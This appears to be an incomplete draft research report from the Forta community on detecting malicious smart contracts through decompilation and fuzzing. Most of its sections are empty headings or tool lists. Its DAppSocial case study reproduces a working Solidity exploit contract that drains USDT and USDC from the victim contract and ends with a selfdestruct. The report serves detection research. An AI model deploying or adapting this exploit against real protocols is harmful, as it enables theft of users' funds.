Attack Detection

With Local Simulation And Fuzzing

Web3

Forta Community
2023/12/04

CONTEXT

Prepared by the community of **Forta** as part of its **Threat Research Inititative**.

See **here** to apply to the TRi.

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document creation	2023/12/04	Apehex

CONTACTS

CONTACT	MAIL	MORE
Apehex	apehex@protonmail.com	Github: apehex
Christian Seifert	christian@forta.org	Twitter: cseifert

OVERVIEW

0.1. INTRODUCTION

Protocol attacks often involve attackers deploying a malicious smart contract. Given these smart contracts are deployed before assets are being stolen, detection of these malicious smart contracts is of utmost importance. Several detection bots are deployed on the Forta Network today, which identify malicious smart contracts using static and dynamic detection approaches.

The dynamic detection approach **Smart Contract Simulation bot** attempts to simulate the execution of a malicious smart contract and observing whether suspicious state changes (e.g. TVL drop) occurs during the execution of the smart contract.

Given that malicious smart contracts are not source code verified, the bot attempts to guess the ABI and invoke the contract using a variety of heuristics. This often fails (e.g. when the parameter list is unknown or the parameter requires to be of a certain value).

Fuzzing is the technique that can be utilized to execute smart contracts and - using a variety of techniques, such as taint analysis - make informed guesses on how to execute a contract to exhibit its behavior. Unfortunately, these fuzzing tools have primarily been developed by smart contract auditors and operate on source code.

A possible avenue to work around this mismatch of having the bytecode of malicious smart contracts and fuzzing tools that require source code are decompilers. Decompilers can turn byte code into valid source code. This bounty is about assessing whether decompiling malicious smart contracts could increase the likelihood of successful execution and therefore successful detection.

0.2. METHODOLOGY

This report is grounded in both past and present research.

CASE STUDIES

Live attacks and control tests.

1. ATTACKS WITH SETUP

- setup: creation + funding - inputs: amounts, addresses, etc - context: may-be the attack works only when the target protocol is in a particular state

how to: - deploy duplicate? - setup duplicate? - deploy dependencies? - setup dependencies? - trigger exploit? - guess entry point selector? - guess fn signature? - guess fn input arguments?

bot: - fetch prev tx / contracts - simulate contract

DAppSocial

inputs: DappSocial address is not in the runtime nor creation bytecode of any contract (attack / helper)

1.0.1. On creation

```solidity
contract HelperExploitContract {
    IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IDAppSocial private constant DAppSocial = IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1);
    address payable private immutable owner;

    constructor() {
        owner = payable(msg.sender);
    }

    // 0x42c59677 exploit function
    function exploit(address token, bool withdraw) external {
        require(msg.sender == owner, "Only owner");
        if (withdraw == true) {
            if (token == address(USDT)) {
                DAppSocial.withdrawTokens(address(token), USDT.balanceOf(address(DAppSocial)));
                USDT.transfer(owner, USDT.balanceOf(address(this)));
            } else {
                DAppSocial.withdrawTokens(address(token), USDC.balanceOf(address(DAppSocial)));
                USDC.transfer(owner, USDC.balanceOf(address(this)));
            }
        } else {
            DAppSocial.lockTokens(owner, 0);
        }
    }

    function killMe() external {
        require(msg.sender == owner, "Only owner");
        selfdestruct(owner);
    }
}
```

decompilation

signature

input

1.0.2. On transaction

execute directly

setup ourselves = redeploy their helper

mutate = replace addresses with own contracts

2. ATTACKS ON CREATION

SIMULATION PROCESS

3. PROCESS OVERVIEW

4. DECOMPILATION

5. MODELING

6. FUZZING

TOOLING

Public tools and how to chain them.

7. DECOMPILERS

Decurity abi-decompiler Dedaub Elipmoc heimdall-rs Eveel Panoramix Ether-scan decompiler

8. FUZZERS

ContractFuzzer: fuzzing **Trails of Bits Diffusc**: differential fuzzing **ConsenSys Diligence**: fuzzing **Trails of Bits Echidna**: fuzzing **Foundry**: forking + fuzzing **0xalpharush fuzzing-like-a-degen**: barebone fuzzer **Certora Gambit** **Trail of Bits Manticore** **Crytic Medusa**: **ConsenSys Mythril** **nascentxyz Pyrometer**

DappHub HEVM: symbolic execution **Trail of Bits Maat**: symbolic execution

8.0.1. Fuzzing Techniques

taint guided mutation based fuzzing

8.0.2. Wordlists

Token addresses:

RESULTS

9. DETECTION STATS

10. PERFORMANCE PROFILE